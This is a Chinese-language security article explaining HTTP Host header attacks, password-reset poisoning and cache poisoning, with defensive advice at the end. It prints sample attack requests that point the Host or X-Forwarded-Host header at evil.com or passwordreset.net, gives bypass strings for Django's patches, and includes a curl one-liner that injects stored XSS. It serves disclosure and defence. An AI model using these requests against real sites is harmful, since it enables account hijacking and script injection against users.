×

利用HTTP host頭攻擊的技術(shù)

分類:互聯(lián)網(wǎng)熱點 編輯:新網(wǎng)小青年 瀏覽量:441
2020-07-10 11:21:32

0x00 背景一般通用web程序是如果想知道網(wǎng)站域名不是一件簡單的事情,如果用一個固定的URI來作為域名會有各種麻煩。開發(fā)人員一般是依賴HTTP Host header(比如在php里是_SERVER["HTTP_HOST"] ),而這個header很多情況下是靠不住的。而很多應(yīng)用是直接把這個值不做html編碼便輸出到了頁面中,比如: (Django, Gallery, others)這樣處理問題一般會很容易遭遇到兩種常見的攻擊:緩存污染和密碼重置。緩存污染是指攻擊者通過控制一個緩存系統(tǒng)來將一個惡意站點的頁面返回給用戶。

密碼重置這種攻擊主要是因為發(fā)送給用戶的內(nèi)容是可以污染的,也就是說可以間接的劫持郵件發(fā)送內(nèi)容。0x01 密碼重置污染攻擊拿 Gallery (http://galleryproject.org/)這個站來做例子。

當(dāng)我們進(jìn)行密碼重置的時候,網(wǎng)站會給我們發(fā)送一個隨機(jī)的key:#!php$user -> hash = random::hash() ;$message -> confirm_url = url::abs_site("password/do_reset?key=$user->hash") ;當(dāng)用戶點擊重置密碼的鏈接時,肯定可以說明點的是自己的賬戶。這個地方的漏洞是: url::abs_site 這一部分使用的Host header是來自用戶重置密碼的請求,那么攻擊者可以通過一個受他控制的鏈接來污染密碼重置的郵件。> POST /password/reset HTTP/1.1> Host: evil.com> ...> csrf=1e8d5c9bceb16667b1b330cc5fd48663&name=admin這個漏洞在Django,Piwik 和Joomla中都存在,還有一些其他的應(yīng)用,框架和類庫。當(dāng)然這種攻擊方式一定要能騙取用戶點擊訪問這個受污染的鏈接,如果用戶警覺了沒有點擊,那么攻擊就會失敗。

當(dāng)然你自己也可以配合一些社會工程學(xué)的方法來保證攻擊的成功率。還有一些情況,Host可能會被url編碼后直接放到email的header里面造成header注入。通過這個,攻擊者可以很容易的就能劫持用戶的賬戶。0x02 緩存污染通過Host header來污染緩存的攻擊方法最初是Carlos Beuno 在2008年提出來的。但是在現(xiàn)在的網(wǎng)絡(luò)架構(gòu)中,這種攻擊還是比較困難的,因為現(xiàn)在的緩存設(shè)備都能夠識別Host。

比如對于下面的這兩種情況他們絕對不會弄混淆:> GET /index/1.html HTTP/1.1 > GET /index/1.html HTTP/1.1> Host: example.com > Host: evil.com因此為了能使緩存能將污染后的response返回給用戶,我們還必須讓緩存服務(wù)器看到的host header 和應(yīng)用看到的host header 不一樣。

比如說對于Varnish(一個很有名的緩存服務(wù)軟件),可以使用一個復(fù)制的Host header。Varnish是通過最先到達(dá)的請求的host header來辨別host的,而Apache則是看所有請求的host,Nginx則只是看最后一個請求的host。這就意味著你可以通過下面這個請求來欺騙Varnish達(dá)到污染的目的:> GET / HTTP/1.1> Host: example.com> Host: evil.com應(yīng)用本身的緩存也可能受到污染。比如Joomla就將取得的host值不經(jīng)html編碼便寫進(jìn)任意頁面,而它的緩存則對這些沒有任何處理。

比如可以通過下面的請求來寫入一個存儲型的xss:curl -H "Host: cowonerror='alert(1)'rel='stylesheet'" http://example.com/ | fgrep cow實際上的請求是這樣的:> GET / HTTP/1.1> Host: cow"onerror='alert(1)'rel='stylesheet'響應(yīng)其實已經(jīng)受到污染:這時只需要瀏覽首頁看是否有彈窗就知道緩存是否已經(jīng)被污染了。0x03 安全的配置在這里我假設(shè)你可以通過任何類型的應(yīng)用來發(fā)起一個http請求,而host header也是可以任意編輯的。

雖然在一個http請求里,host header是用來告訴webserver該請求應(yīng)該轉(zhuǎn)發(fā)給哪個站點,但是事實上,這個header的作用或者說風(fēng)險并不止如此。比如如果Apache接收到一個帶有非法host header的請求,它會將此請求轉(zhuǎn)發(fā)給在 httpd.conf 里定義的第一個虛擬主機(jī)。因此,Apache很有可能將帶有任意host header的請求轉(zhuǎn)發(fā)給應(yīng)用。而Django已經(jīng)意識到了這個缺陷,所以它建議用戶另外建立一個默認(rèn)的虛擬主機(jī),用來接受這些帶有非法host header的請求,以保證Django自己的應(yīng)用不接受到這些請求。不過可以通過X-Forwarded-Host 這個header就可以繞過。

Django非常清楚緩存污染的風(fēng)險,并且在2011年的9月份就通過默認(rèn)禁用X-Forwarded-Host這個header來修復(fù)此問題。Mozilla卻在addons.mozilla.org站點忽視了此問題,我在2012年的4月發(fā)現(xiàn)了此問題:> POST /en-US/firefox/user/pwreset HTTP/1.1> Host: addons.mozilla.org> X-Forwarded-Host: evil.com即使Django給出了補(bǔ)丁,但是依然存在風(fēng)險。Webserver允許在host header里面指定端口,但是它并不能通過端口來識別請求是對應(yīng)的哪個虛擬主機(jī)。

可以通過下面的方法來繞過:> POST /en-US/firefox/user/pwreset HTTP/1.1> Host: addons.mozilla.org:@passwordreset.net這直接會導(dǎo)致生成一個密碼重置鏈接: https://addons.mozilla.org:@passwordreset.net/users/pwreset/3f6hp/3ab-9ae3db614fc0d0d036d4當(dāng)用戶點擊這個鏈接的時候就會發(fā)現(xiàn),其實這個key已經(jīng)被發(fā)送到passwordreset.net這個站點了。在我報告了此問題后,Django又推出了一個補(bǔ)丁:https://www.djangoproject.com/weblog/2012/oct/17/security/不幸的是,這個補(bǔ)丁只是簡單的通過黑名單方式來簡單的過濾掉了@和其他一些字符。

而由于密碼重置鏈接是以純文本而不是html的方式發(fā)送的,所以此補(bǔ)丁只需要添加一個空格就可以繞過:> POST /en-US/firefox/users/pwreset HTTP/1.1> Host: addons.mozilla.org: www.securepasswordreset.comDjango的后續(xù)補(bǔ)丁規(guī)定了host header的端口部分只能是含有數(shù)字,以規(guī)避此問題。但是在RFC2616文檔中規(guī)定了,如果請求URI是一個絕對的URI,那么host是Request-URI的一部分。在請求中的任何Host header值必須被忽略。

也就是說,在Apache和Nginx(只要是遵守此文檔的webserver)中,可以通過絕對uri向任意應(yīng)用發(fā)送一個包含有任意host header的請求:> POST https://addons.mozilla.org/en-US/firefox/users/pwreset HTTP/1.1> Host: evil.com這個請求在SERVER_NAME里面的值是addons.mozilla.org,而不是host里的evil.com。應(yīng)用可以通過使用SERVER_NAME而不是host header來規(guī)避此風(fēng)險,但是如果沒有配合特殊配置的webserver,這個風(fēng)險依然存在??梢栽谶@里http://stackoverflow.com/questions/2297403/http-host-vs-server-name/2297421#2297421看看 HTTP_HOST 和SERVER_NAME 的區(qū)別。

Django官方在2013年的二月通過強(qiáng)制使用一個host白名單來修復(fù)了此問題。盡管如此,在很多其他的wen應(yīng)用上,這種攻擊方式依然屢試不爽。0x04 服務(wù)器方面需要做的由于http請求的特點,host header的值其實是不可信的。唯一可信的只有SERVER_NAME,這個在Apache和Nginx里可以通過設(shè)置一個虛擬機(jī)來記錄所有的非法host header。在Nginx里還可以通過指定一個SERVER_NAME名單,Apache也可以通過指定一個SERVER_NAME名單并開啟UseCanonicalName選項。建議兩種方法同時使用。Varnish很快會發(fā)布一個補(bǔ)丁。

在官方補(bǔ)丁出來前,可以通過在配置文件里加入:import std; sub vcl_recv { std.collect(req.http.host); }來防護(hù)。0x05 應(yīng)用本身需要做的解決這個問題其實是很困難的,因為沒有完全自動化的方法來幫助站長識別哪些host 的值是值得信任的。雖然做起來有點麻煩,但是最安全的做法是:效仿Django的方法,在網(wǎng)站安裝和初始化的時候,要求管理員提供一個可信任的域名白名單。如果這個實現(xiàn)起來比較困難,那至少也要保證使用SERVER_NAME而不是host header,并且鼓勵用戶使用安全配置做的比較好的站點。



聲明:免責(zé)聲明:本文內(nèi)容由互聯(lián)網(wǎng)用戶自發(fā)貢獻(xiàn)自行上傳,本網(wǎng)站不擁有所有權(quán),也不承認(rèn)相關(guān)法律責(zé)任。如果您發(fā)現(xiàn)本社區(qū)中有涉嫌抄襲的內(nèi)容,請發(fā)

送郵件至:operations@xinnet.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,本站將立刻刪除涉嫌侵權(quán)內(nèi)容。本站原創(chuàng)內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時

需注明出處:新網(wǎng)idc知識百科

免費咨詢獲取折扣

Loading